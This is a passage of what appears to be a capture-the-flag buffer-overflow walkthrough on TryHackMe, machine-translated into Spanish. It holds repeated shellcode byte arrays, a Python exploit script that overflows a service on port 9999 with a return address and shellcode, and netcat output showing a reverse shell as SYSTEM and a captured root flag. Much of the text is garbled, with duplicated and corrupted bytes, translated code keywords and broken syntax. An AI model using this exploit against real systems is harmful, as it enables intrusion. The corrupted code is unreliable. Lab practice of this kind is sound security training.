b"\x1e\xa7\x72\xb9\xae\x5a\x8a\xfe\x09\x85\xf9\xf6\x69" buf += b"\x38\xfa\xcd\x10\xe6\x8f\xd5\xb3\x6d\x37\x31\x45\xa1" buf += b "\ xae \ xb2 \ x49 \ x0e \ xa4 \ x9c \ x4d \ x91 \ x69 \ x97 \ x6a \ x1a \ x8c" buf += b "\ x77 \ xfb \ x58 \ xab \ x53 \ xa7 \ x3b \ xd2 \ xc2 \ x0d \ xed \ xeB b"\xee\x52\x4e\x5f\x03\x86\xe3\x02\x4c\x6b\xce\xbc\x8c" buf += b"\xe3\x59\xcf\xbe\xac\xf1\x47\xf3\x25\xdc\x90\xf4\x1f" buf += b "\ x98 \ x0e \ x0b \ xa0 \ xd9 \ x07 \ xc8 \ xf4 \ x89 \ x3f \ xf9 \ x74 \ x42" buf += b "\ xbf \ x06 \ xa1 \ xc5 \ xeF \ xa8 \ x1a \ xa6 \ x5f \ x09 \ xcb \ x4e \ x4e \ x4e \ xb5 \ xb5 \ xb5 \ xb5 \ xb5 \ x4e \ x4e \ x4e \ x4e \ x4e \ x4e \ x4e \ x4e \ x4e \ x4e \ x4e \ x4e \ x4e \ x4e \ x4e \ x4e \ x4e \ x4e \ x4e \ x4e \ x4e b"\x86\x34\x6e\xb6\x4c\x5d\x05\x4d\x07\x68\xc8\x23\x8d" buf += b"\x04\xee\xbb\x35\x07\x67\x5d\x5f\xb7\x2e\xf6\xc8\x2e" buf += b "\ x6b \ x8c \ x69 \ xae \ xa1 \ xe9 \ xaa \ x24 \ x46 \ x0e \ x64 \ xcd \ x23" buf += b "\ x1c \ x11 \ x3d \ x7e \ x7e \ x7e \ xb4 \ x42 \ x54 \ x16 \ x5a \ xd0 \ xd0 \ x33 \ x33 \ x3333333. += b "\ x15 \ xc9 \ xeb \ xb1 \ x72 \ x3f \ xe2 \ x57 \ x6f \ x66 \ x5c \ x45 \ x72" buf += b "\ x15 \ xc9 \ xeb \ xb1 \ x72 \ x3f \ xe2 \ x57 \ x6f \ x66 \ x5c \ xeB \ xb1 \ x72 \ x3f \ xe2 \ x57 \ x6f \ x66 \ x5c \ x4 \ xb1 \ x72 \ x3f \ xe2 \ x57 \ x6f \ x66 \ x5c \ xeb1 \ xb1 \ x72 \ x3f \ xe2 \ x57 \ x6f \ x66 \ x5C += b "\ xfe \ xa7 \ xcd \ xa9 \ xc3 \ x26 \ xcc \ x3c \ x7f \ x0d \ xde \ xf8 \ x80" buf += b "\ x09 \ x8a \ x54 \ xD7 \ xc7 \ x64 \ x13 \ x81 \ xa9 \ xde \ xcd \ x7e \ x7e \ x7e \ x7e \ x7e \ x7e \ x7e += b"\xb6\x88\x4c\xb3\xc0\x94\x98\x45\x2c\x24\x75\x10\x53" buf += b"\x89\x11\x94\x2c\xf7\x81\x5b\xe7\xb3\xa2\xb9\x2d\xce" buf += b "\ x4a \ x64 \ xa4 \ x73 \ x17 \ x97 \ x13 \ xb7 \ x2e \ x14 \ x91 \ x48 \ xd5" buf += b "\ x04 \ xd0 \ x4d \ x91 \ x82 \ x09 \ x3c \ x8a \ x66 \ x2d \ x93 \ xab \ xaB

┌── (Hacklab㉿hackLab)-[~/tryhackme/breorny] └─ $ Cat test3.py #!/Usr/bin/python import socket, dirección sys = '10 .10.131.55 'puerto = 9999 user =' test'.encode ("UTF-8") BUF = B "" BUF += = = = = = = = = = = = = = = = = b"\xd9\xe8\xba\x61\x87\x63\xd7\xd9\x74\x24\xf4\x58\x31" buf += b"\xc9\xb1\x52\x31\x50\x17\x03\x50\x17\x83\x89\x7b\x81" buf += b "\ x22 \ xb5 \ x6c \ xc4 \ xcd \ x45 \ x6d \ xa9 \ x44 \ xa0 \ x5c \ xe9 \ x33" buf += b "\ xa1 \ xcf \ xd9 \ x30 \ xe7 \ xe3 \ x92 \ x15 \ x13 \ x77 \ xd6 \ xb1 \ x3 \ xe7 \ xe3 \ x92 \ x15 \ x13 \ x77 \ xd6 \ xb1 \ xb1 \ x14" buf +x14 "x14" x14 "x14. b"\x30\x5d\xe4\x1b\xc1\xce\xd4\x3a\x41\x0d\x09\x9c\x78" buf += b"\xde\x5c\xdd\xbd\x03\xac\x8f\x16\x4f\x03\x3f\x12\x05" buf += b"\x98\xb4\x68\x8b\x98\x29\x38\xaa\x89\xfc\x32\xf5\x09" buf += b"\xff\x97\x8d\x03\xe7\xf4\xa8\xda\x9c\xcf\x47\xdd\x74" buf += b "\ x1e \ xa7 \ x72 \ xb9 \ xae \ x5a \ x8a \ xfe \ x09 \ x85 \ xf9 \ xf6 \ x69" buf += b "\ x1e \ xa7 \ x72 \ xb9 \ xae \ x5a \ x8a \ xfe \ x09 \ x85 \ xf9 \ xf6 \ x69 \ xae \ x5a \ x8a \ xfe \ x09 \ x85 \ xf9 \ xf6 \ x69" BUF9 "BUT = = BUF9" BUT = = x69 "BUT = = X69" BUT = = X69 "BUT = = x69" BUT = = x69 "BUT = = x69". b "\ x38 \ xfa \ xcd \ x10 \ xe6 \ x8f \ xd5 \ xb3 \ x6d \ x37 \ x31 \ x45 \ xa1" buf += b "\ xae \ xb2 \ x49 \ x0e \ xa4 \ x9c \ x4d \ x91 \ x69 \ x97 \ x6a \ x1a \ x1a \ x8C b "\ x77 \ xfb \ x58 \ xab \ x53 \ xa7 \ x3b \ xd2 \ xc2 \ x0d \ xed \ xeb \ x14" buf += b "\ xee \ x52 \ x4e \ x5f \ x03 \ x86 \ xe3 \ x02 \ x4c \ x6b \ xCe \ xbc \ x8c" bUn = x8c "BUT = = x8c" BUT = = x8c. b"\xe3\x59\xcf\xbe\xac\xf1\x47\xf3\x25\xdc\x90\xf4\x1f" buf += b"\x98\x0e\x0b\xa0\xd9\x07\xc8\xf4\x89\x3f\xf9\x74\x42" buf += b "\ xbf \ x06 \ xa1 \ xc5 \ xef \ xa8 \ x1a \ xa6 \ x5f \ x09 \ xcb \ x4e \ xb5" buf += b "\ x86 \ x34 \ x6e \ xb6 \ x4c \ x5d \ x05 \ x4d \ x07 \ x68 \ xc8 \ x23 \ x8d" buf +x8d "x8d" x8d "x8d" x8d "x8d" x8d "x8d" x8d. b "\ x04 \ xee \ xbb \ x35 \ x07 \ x67 \ x5d \ x5f \ xb7 \ x2e \ xf6 \ xc8 \ x2e" buf += b "\ x6b \ x8c \ x69 \ xae \ xa1 \ xe9 \ xaa \ x24 \ x46 \ x0e \ x64 \ xcd \ xcd \ x23" buFd \ x23 "buft += = = x23" bufd \ x23 "bufd \ x23" bufd. b "\ x1c \ x11 \ x3d \ x7e \ x7e \ x7e \ xb4 \ x42 \ x54 \ x16 \ x5a \ xd0 \ x33 \ xe6" buf += b "\ x15 \ xc9 \ xeb \ xb1 \ x72 \ x3f \ xe2 \ x57 \ x57 \ x6 \ x66 \ x5c \ x45 \ x45 \ x45 \ x45 \ x45 \ x45 \ x45 \ x45 \ x45 \ x45 \ x45 \ x45 \ x45 \ x45 \ x45 \ x45 \ x45 \ x45. buf += b "\ x15 \ xc9 \ xeb \ xb1 \ x72 \ x3f \ xe2 \ x57 \ x6f \ x66 \ x5c \ x45 \ x72" buf += b "\ xfe \ xa7 \ xcd \ xa9 \ xc3 \ x26 \ xcc \ x3c \ x7f \ x0d \ xDE buf += b "\ x09 \ x8a \ x54 \ xd7 \ xc7 \ x64 \ x13 \ x81 \ xa9 \ xde \ xcd \ x7e \ x60" buf += b "\ xb6 \ x88 \ x4c \ xb3 \ xc0 \ x94 \ x98 \ x45 \ x2c \ x24 \ x75 \ x75 buf += b "\ x89 \ x11 \ x94 \ x2c \ xf7 \ x81 \ x5b \ xe7 \ xb3 \ xa2 \ xb9 \ x2d \ xce" buf += b "\ x4a \ x64 \ xa4 \ x73 \ x17 \ x97 \ x13 \ xb7 \ x2e \ x14 \ x91 \ x91 += b "\ x04 \ xd0 \ x4d \ x91 \ x82 \ x09 \ x3c \ x8a \ x66 \ x2d \ x93 \ xab \ xa2" esp = b '\ xdf \ x14 \ x50 \ x62' nop = b '\ x90' * 20 Mensaje = ('A' * 2012) .Code ("Utf-8") += buf try: print ('[ +] enviando búfer') s = Socket.socket (Socket.af_inet, Socket.sock_stream) s.connect ((dirección, puerto)) s.recv (1024) s.send (user +'\ r \ n'.encode ("utf-8")) S.recv (1024) impresión ("mensaje") S. '\ r \ n'.enDode ("UTF-8")) excepto la excepción como e: print (e) print (' [!] No se puede conectar a la aplicación. ') sys.exit (0) Finalmente: s.close ()

┌── (Hacklab㉿hackLab) -[~] └─ $ NC -NLVP 1234 escuchando en [cualquiera] 1234 ... Conéctese a [10.18.110.90] de (desconocido) [10.10.131.55] 49175 Microsoft Windows [Versión 6.1.7601] Copyright (C) 2009 Microsoft Corporation. Reservados todos los derechos. C: \ Windows \ System32> Whoami Whoami Nt Authority \ System

┌── (HackLab㉿hackLab) -[~] └─ $ NC -NLVP 1234 1 ⨯ Escuchar en [cualquiera] 1234 ... Conéctese a [10.18.110.90] de (desconocido) [10.10.131.55] 49196 Microsoft Windows [Versión 6.1.7601] Copyright (C) 2009 Microsoft Corporation. Reservados todos los derechos. ... C: \ Users \ Drake \ Desktop> Dir Dir Volume In Drive C no tiene etiqueta. El número de serie de volumen es C87F-5040 Directorio de C: \ Users \ Drake \ Desktop 29/08/2019 10:55 PM<DIR> . 29/08/2019 10:55 PM<DIR> .. 29/08/2019 10:55 PM 32 root.txt 1 archivo (s) 32 bytes 2 dir (s) 19,703,422,976 bytes gratuitos c: \ users \ drake \kktop> type root.txt type root.txt 5b1001de5a44eCa47eeee71e7942a8f8a c: \ \ drake \ drake \ drake \ drake \ drake \ drake \ drake \ drake \ drake \ drake